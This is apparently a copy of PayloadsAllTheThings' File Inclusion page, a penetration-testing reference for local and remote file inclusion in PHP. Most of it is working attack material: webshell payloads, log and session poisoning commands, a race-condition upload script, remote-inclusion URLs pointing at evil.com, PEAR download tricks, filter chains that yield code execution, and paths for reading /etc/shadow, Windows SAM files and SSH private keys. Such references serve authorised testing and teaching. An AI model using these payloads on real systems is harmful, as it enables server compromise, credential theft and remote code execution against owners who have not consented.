Browse / Payloads / File Inclusion
File Inclusion
41 passages of payloads and techniques. See also the 296 disclosed Path Traversal reports.
LFI-to-RCE
LFI (Local File Inclusion) is a vulnerability that occurs when a web application includes files from the local file system, often due to insecure handling of user input. If an attacker can control the file path, they can potentially include sensitive or dangerous files such as system files (/etc/passwd), configuration files, or even malicious files that could lead to Remote Code Execution (RCE).
LFI to RCE via /proc//fd
- Upload a lot of shells (for example : 100)
- Include
/proc/$PID/fd/$FDwhere$PIDis the PID of the process and$FDthe filedescriptor. Both of them can be bruteforced.
http://example.com/index.php?page=/proc/$PID/fd/$FD
LFI to RCE via /proc/self/environ
Like a log file, send the payload in the User-Agent header, it will be reflected inside the /proc/self/environ file
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
LFI to RCE via iconv
Use the iconv wrapper to trigger an OOB in the glibc (CVE-2024-2961), then use your LFI to read the memory regions from /proc/self/maps and to download the glibc binary. Finally you get the RCE by exploiting the zend_mm_heap structure to call a free() that have been remapped to system using custom_heap._free.
Requirements:
- PHP 7.0.0 (2015) to 8.3.7 (2024)
- GNU C Library (
glibc) <= 2.39 - Access to
convert.iconv,zlib.inflate,dechunkfilters
Exploit:
LFI to RCE via upload
If you can upload a file, just inject the shell payload in it (e.g : <?php system($_GET['c']); ?> ).
http://example.com/index.php?page=path/to/uploaded/file.png
In order to keep the file readable it is best to inject into the metadata for the pictures/doc/pdf
LFI to RCE via upload (race)
- Upload a file and trigger a self-inclusion.
- Repeat the upload a shitload of time to:
- increase our odds of winning the race
- increase our guessing odds
- Bruteforce the inclusion of /tmp/[0-9a-zA-Z]{6}
- Enjoy our shell.
import itertools
import requests
import sys
print('[+] Trying to win the race')
f = {'file': open('shell.php', 'rb')}
for _ in range(4096 * 4096):
requests.post('http://target.com/index.php?c=index.php', f)
print('[+] Bruteforcing the inclusion')
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
url = 'http://target.com/index.php?c=/tmp/php' + fname
r = requests.get(url)
if 'load average' in r.text: # <?php echo system('uptime');
print('[+] We have got a shell: ' + url)
sys.exit(0)
print('[x] Something went wrong, please try again')
LFI to RCE via upload (FindFirstFile)
:warning: Only works on Windows
FindFirstFile allows using masks (<< as * and > as ?) in LFI paths on Windows. A mask is essentially a search pattern that can include wildcard characters, allowing users or developers to search for files or directories based on partial names or types. In the context of FindFirstFile, masks are used to filter and match the names of files or directories.
*/<<: Represents any sequence of characters.?/>: Represents any single character.
Upload a file, it should be stored in the temp folder C:\Windows\Temp\ with a generated name like php[A-F0-9]{4}.tmp.
Then either bruteforce the 65536 filenames or use a wildcard character like: http://site/vuln.php?inc=c:\windows\temp\php<<
LFI to RCE via phpinfo()
PHPinfo() displays the content of any variables such as $_GET, $_POST and $_FILES.
By making multiple upload posts to the PHPInfo script, and carefully controlling the reads, it is possible to retrieve the name of the temporary file and make a request to the LFI script specifying the temporary file name.
Use the script phpInfoLFI.py
LFI to RCE via controlled log file
Just append your PHP code into the log file by doing a request to the service (Apache, SSH..) and include the log file.
http://example.com/index.php?page=/var/log/apache/access.log
http://example.com/index.php?page=/var/log/apache/error.log
http://example.com/index.php?page=/var/log/apache2/access.log
http://example.com/index.php?page=/var/log/apache2/error.log
http://example.com/index.php?page=/var/log/nginx/access.log
http://example.com/index.php?page=/var/log/nginx/error.log
http://example.com/index.php?page=/var/log/vsftpd.log
http://example.com/index.php?page=/var/log/sshd.log
http://example.com/index.php?page=/var/log/mail
http://example.com/index.php?page=/var/log/httpd/error_log
http://example.com/index.php?page=/usr/local/apache/log/error_log
http://example.com/index.php?page=/usr/local/apache2/log/error_log
LFI to RCE via controlled log file > RCE via SSH
Try to ssh into the box with a PHP code as username <?php system($_GET["cmd"]);?>.
ssh <?php system($_GET["cmd"]);?>@10.10.10.10
Then include the SSH log files inside the Web Application.
http://example.com/index.php?page=/var/log/auth.log&cmd=id
LFI to RCE via controlled log file > RCE via Mail
First send an email using the open SMTP then include the log file located at http://example.com/index.php?page=/var/log/mail.
root@kali:~# telnet 10.10.10.10. 25
Trying 10.10.10.10....
Connected to 10.10.10.10..
Escape character is '^]'.
220 straylight ESMTP Postfix (Debian/GNU)
helo ok
250 straylight
mail from: [email protected]
250 2.1.0 Ok
rcpt to: root
250 2.1.5 Ok
data
354 End data with <CR><LF>.<CR><LF>
subject: <?php echo system($_GET["cmd"]); ?>
data2
.
In some cases you can also send the email with the mail command line.
mail -s "<?php system($_GET['cmd']);?>" [email protected]. < /dev/null
LFI to RCE via controlled log file > RCE via Apache logs
Poison the User-Agent in access logs:
curl http://example.org/ -A "<?php system(\$_GET['cmd']);?>"
Note: The logs will escape double quotes so use single quotes for strings in the PHP payload.
Then request the logs via the LFI and execute your command.
curl http://example.org/test.php?page=/var/log/apache2/access.log&cmd=id
LFI to RCE via PHP sessions
Check if the website use PHP Session (PHPSESSID)
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
In PHP these sessions are stored into /var/lib/php5/sess_[PHPSESSID] or /var/lib/php/sessions/sess_[PHPSESSID] files
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
Set the cookie to <?php system('cat /etc/passwd');?>
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
Use the LFI to include the PHP session file
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27
LFI to RCE via PHP PEARCMD
PEAR is a framework and distribution system for reusable PHP components. By default pearcmd.php is installed in every Docker PHP image from hub.docker.com in /usr/local/lib/php/pearcmd.php.
The file pearcmd.php uses $_SERVER['argv'] to get its arguments. The directive register_argc_argv must be set to On in PHP configuration (php.ini) for this attack to work.
register_argc_argv = On
There are this ways to exploit it.
-
Method 1: config create
/vuln.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=eval($_GET['cmd'])?>+/tmp/exec.php /vuln.php?file=/tmp/exec.php&cmd=phpinfo();die(); -
Method 2: man_dir
/vuln.php?file=/usr/local/lib/php/pearcmd.php&+-c+/tmp/exec.php+-d+man_dir=<?echo(system($_GET['c']));?>+-s+ /vuln.php?file=/tmp/exec.php&c=idThe created configuration file contains the webshell.
#PEAR_Config 0.9 a:2:{s:10:"__channels";a:2:{s:12:"pecl.php.net";a:0:{}s:5:"__uri";a:0:{}}s:7:"man_dir";s:29:"<?echo(system($_GET['c']));?>";} -
Method 3: download (need external network connection).
/vuln.php?file=/usr/local/lib/php/pearcmd.php&+download+http://<ip>:<port>/exec.php /vuln.php?file=exec.php&c=id -
Method 4: install (need external network connection). Notice that
exec.phplocates at/tmp/pear/download/exec.php./vuln.php?file=/usr/local/lib/php/pearcmd.php&+install+http://<ip>:<port>/exec.php /vuln.php?file=/tmp/pear/download/exec.php&c=id
LFI to RCE via credentials files
This method require high privileges inside the application in order to read the sensitive files.
LFI to RCE via credentials files > Windows version
Extract sam and system files.
http://example.com/index.php?page=../../../../../../WINDOWS/repair/sam
http://example.com/index.php?page=../../../../../../WINDOWS/repair/system
Then extract hashes from these files samdump2 SYSTEM SAM > hashes.txt, and crack them with hashcat/john or replay them using the Pass The Hash technique.
LFI to RCE via credentials files > Linux version
Extract /etc/shadow files.
http://example.com/index.php?page=../../../../../../etc/shadow
Then crack the hashes inside in order to login via SSH on the machine.
Another way to gain SSH access to a Linux machine through LFI is by reading the private SSH key file: id_rsa.
If SSH is active, check which user is being used in the machine by including the content of /etc/passwd and try to access /<HOME>/.ssh/id_rsa for every user with a home.
Overview
A File Inclusion Vulnerability refers to a type of security vulnerability in web applications, particularly prevalent in applications developed in PHP, where an attacker can include a file, usually exploiting a lack of proper input/output sanitization. This vulnerability can lead to a range of malicious activities, including code execution, data theft, and website defacement.
Tools
- P0cL4bs/Kadimus (archived on Oct 7, 2020) - kadimus is a tool to check and exploit lfi vulnerability.
- D35m0nd142/LFISuite - Totally Automatic LFI Exploiter (+ Reverse Shell) and Scanner
- kurobeats/fimap - fimap is a little python tool which can find, prepare, audit, exploit and even google automatically for local and remote file inclusion bugs in webapps.
- lightos/Panoptic - Panoptic is an open source penetration testing tool that automates the process of search and retrieval of content for common log and config files through path traversal vulnerabilities.
- hansmach1ne/LFImap - Local File Inclusion discovery and exploitation tool
Local File Inclusion
File Inclusion Vulnerability should be differentiated from Path Traversal. The Path Traversal vulnerability allows an attacker to access a file, usually exploiting a "reading" mechanism implemented in the target application, when the File Inclusion will lead to the execution of arbitrary code.
Consider a PHP script that includes a file based on user input. If proper sanitization is not in place, an attacker could manipulate the page parameter to include local or remote files, leading to unauthorized access or code execution.
<?php
$file = $_GET['page'];
include($file);
?>
In the following examples we include the /etc/passwd file, check the Directory & Path Traversal chapter for more interesting files.
http://example.com/index.php?page=../../../etc/passwd
Local File Inclusion > Null Byte
:warning: In versions of PHP below 5.3.4 we can terminate with null byte (%00).
http://example.com/index.php?page=../../../etc/passwd%00
Example: Joomla! Component Web TV 1.0 - CVE-2010-1470
{{BaseURL}}/index.php?option=com_webtv&controller=../../../../../../../../../../etc/passwd%00
Local File Inclusion > Double Encoding
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
Local File Inclusion > UTF-8 Encoding
http://example.com/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
http://example.com/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd%00
Local File Inclusion > Path Truncation
On most PHP installations a filename longer than 4096 bytes will be cut off so any excess chars will be thrown away.
http://example.com/index.php?page=../../../etc/passwd............[ADD MORE]
http://example.com/index.php?page=../../../etc/passwd\.\.\.\.\.\.[ADD MORE]
http://example.com/index.php?page=../../../etc/passwd/./././././.[ADD MORE]
http://example.com/index.php?page=../../../[ADD MORE]../../../../etc/passwd
Local File Inclusion > Filter Bypass
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Remote File Inclusion
Remote File Inclusion (RFI) is a type of vulnerability that occurs when an application includes a remote file, usually through user input, without properly validating or sanitizing the input.
Remote File Inclusion doesn't work anymore on a default configuration since allow_url_include is now disabled since PHP 5.
allow_url_include = On
Most of the filter bypasses from LFI section can be reused for RFI.
http://example.com/index.php?page=http://evil.com/shell.txt
Remote File Inclusion > Null Byte
http://example.com/index.php?page=http://evil.com/shell.txt%00
Remote File Inclusion > Double Encoding
http://example.com/index.php?page=http:%252f%252fevil.com%252fshell.txt
Remote File Inclusion > Bypass allow_url_include
When allow_url_include and allow_url_fopen are set to Off. It is still possible to include a remote file on Windows box using the smb protocol.
- Create a share open to everyone
- Write a PHP code inside a file :
shell.php - Include it
http://example.com/index.php?page=\\10.0.0.1\share\shell.php
Wrappers
A wrapper in the context of file inclusion vulnerabilities refers to the protocol or method used to access or include a file. Wrappers are often used in PHP or other server-side languages to extend how file inclusion functions, enabling the use of protocols like HTTP, FTP, and others in addition to the local filesystem.
Wrapper php://filter
The part "php://filter" is case insensitive
| Filter | Description |
|---|---|
php://filter/read=string.rot13/resource=index.php | Display index.php as rot13 |
php://filter/convert.iconv.utf-8.utf-16/resource=index.php | Encode index.php from utf8 to utf16 |
php://filter/convert.base64-encode/resource=index.php | Display index.php as a base64 encoded string |
http://example.com/index.php?page=php://filter/read=string.rot13/resource=index.php
http://example.com/index.php?page=php://filter/convert.iconv.utf-8.utf-16/resource=index.php
http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php
http://example.com/index.php?page=pHp://FilTer/convert.base64-encode/resource=index.php
Wrappers can be chained with a compression wrapper for large files.
http://example.com/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd
NOTE: Wrappers can be chained multiple times using | or /:
- Multiple base64 decodes:
php://filter/convert.base64-decoder|convert.base64-decode|convert.base64-decode/resource=%s - deflate then
base64encode(useful for limited character exfil):php://filter/zlib.deflate/convert.base64-encode/resource=/var/www/html/index.php
./kadimus -u "http://example.com/index.php?page=vuln" -S -f "index.php%00" -O index.php --parameter page
curl "http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php" | base64 -d > index.php
Also there is a way to turn the php://filter into a full RCE.
-
synacktiv/php_filter_chain_generator - A CLI to generate PHP filters chain
$ python3 php_filter_chain_generator.py --chain '<?php phpinfo();?>' [+] The following gadget chain will generate the following code : <?php phpinfo();?> (base64 value: PD9waHAgcGhwaW5mbygpOz8+) php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16|convert.iconv.UCS-2.UTF8|convert.iconv.L6.UTF8|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp -
[LFI2RCE.py](https://github.com/swisskyrepo/PayloadsAllTheThin
Wrapper php://filter
gs/blob/master/File%20Inclusion/Files/LFI2RCE.py) to generate a custom payload.
# vulnerable file: index.php
# vulnerable parameter: file
# executed command: id
# executed PHP code: <?=`$_GET[0]`;;?>
curl "127.0.0.1:8000/index.php?0=id&file=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=/etc/passwd"
Wrapper data://
The payload encoded in base64 is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>".
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
Fun fact: you can trigger an XSS and bypass the Chrome Auditor with : http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+
Wrapper expect://
When used in PHP or a similar application, it may allow an attacker to specify commands to execute in the system's shell, as the expect:// wrapper can invoke shell commands as part of its input.
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
Wrapper input://
Specify your payload in the POST parameters, this can be done with a simple curl command.
curl -X POST --data "<?php echo shell_exec('id'); ?>" "https://example.com/index.php?page=php://input%00" -k -v
Alternatively, Kadimus has a module to automate this attack.
./kadimus -u "https://example.com/index.php?page=php://input%00" -C '<?php echo shell_exec("id"); ?>' -T input
Wrapper zip://
-
Create an evil payload:
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php; -
Zip the file
zip payload.zip payload.php; mv payload.zip shell.jpg; rm payload.php -
Upload the archive and access the file using the wrappers:
http://example.com/index.php?page=zip://shell.jpg%23payload.php
Wrapper phar:// > PHAR archive structure
PHAR files work like ZIP files, when you can use the phar:// to access files stored inside them.
-
Create a phar archive containing a backdoor file:
php --define phar.readonly=0 archive.php<?php $phar = new Phar('archive.phar'); $phar->startBuffering(); $phar->addFromString('test.txt', '<?php phpinfo(); ?>'); $phar->setStub('<?php __HALT_COMPILER(); ?>'); $phar->stopBuffering(); ?> -
Use the
phar://wrapper:curl http://127.0.0.1:8001/?page=phar:///var/www/html/archive.phar/test.txt
Wrapper phar:// > PHAR deserialization
:warning: This technique doesn't work on PHP 8+, the deserialization has been removed.
If a file operation is now performed on our existing phar file via the phar:// wrapper, then its serialized meta data is unserialized. This vulnerability occurs in the following functions, including file_exists: include, file_get_contents, file_put_contents, copy, file_exists, is_executable, is_file, is_dir, is_link, is_writable, fileperms, fileinode, filesize, fileowner, filegroup, fileatime, filemtime, filectime, filetype, getimagesize, exif_read_data, stat, lstat, touch, md5_file, etc.
This exploit requires at least one class with magic methods such as __destruct() or __wakeup().
Let's take this AnyClass class as example, which execute the parameter data.
class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}
function __destruct() {
system($this->data);
}
}
...
echo file_exists($_GET['page']);
We can craft a phar archive containing a serialized object in its meta-data.
// create new Phar
$phar = new Phar('deser.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
// add object of any class as meta data
class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}
function __destruct() {
system($this->data);
}
}
$object = new AnyClass('whoami');
$phar->setMetadata($object);
$phar->stopBuffering();
Finally call the phar wrapper: curl http://127.0.0.1:8001/?page=phar:///var/www/html/deser.phar
NOTE: you can use the $phar->setStub() to add the magic bytes of JPG file: \xff\xd8\xff
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");
Wrapper convert.iconv:// and dechunk:// > Leak file content from error-based oracle
convert.iconv://: convert input into another folder (convert.iconv.utf-16le.utf-8)dechunk://: if the string contains no newlines, it will wipe the entire string if and only if the string starts with A-Fa-f0-9
The goal of this exploitation is to leak the content of a file, one character at a time, based on the DownUnderCTF writeup.
Requirements:
- Backend must not use
file_existsoris_file. - Vulnerable parameter should be in a
POSTrequest.- You can't leak more than 135 characters in a GET request due to the size limit
The exploit chain is based on PHP filters: iconv and dechunk:
- Use the
iconvfilter with an encoding increasing the data size exponentially to trigger a memory error. - Use the
dechunkfilter to determine the first character of the file, based on the previous error. - Use the
iconvfilter again with encodings having different bytes ordering to swap remaining characters with the first one.
Exploit using synacktiv/php_filter_chains_oracle_exploit, the script will use either the HTTP status code: 500 or the time as an error-based oracle to determine the character.
$ python3 filters_chain_oracle_exploit.py --target http://127.0.0.1 --file '/test' --parameter 0
[*] The following URL is targeted : http://127.0.0.1
[*] The following local file is leaked : /test
[*] Running POST requests
[+] File /test leak is finished!
Wrapper convert.iconv:// and dechunk:// > Leak file content inside a custom format output
- ambionics/wrapwrap - Generates a
php://filterchain that adds a prefix and a suffix to the contents of a file.
To obtain the contents of some file, we would like to have: {"message":"<file contents>"}.
./wrapwrap.py /etc/passwd 'PREFIX' 'SUFFIX' 1000
./wrapwrap.py /etc/passwd '{"message":"' '"}' 1000
./wrapwrap.py /etc/passwd '<root><name>' '</name></root>' 1000
This can be used against vulnerable code like the following.
<?php
$data = file_get_contents($_POST['url']);
$data = json_decode($data);
echo $data->message;
?>
Wrapper convert.iconv:// and dechunk:// > Leak file content using blind file read primitive
code remote.py # edit Remote.oracle
./lightyear.py test # test that your implementation works
./lightyear.py /etc/passwd # dump a file!
From PayloadsAllTheThings by Swissky and contributors, used under the MIT licence. Use it only on systems you are authorised to test.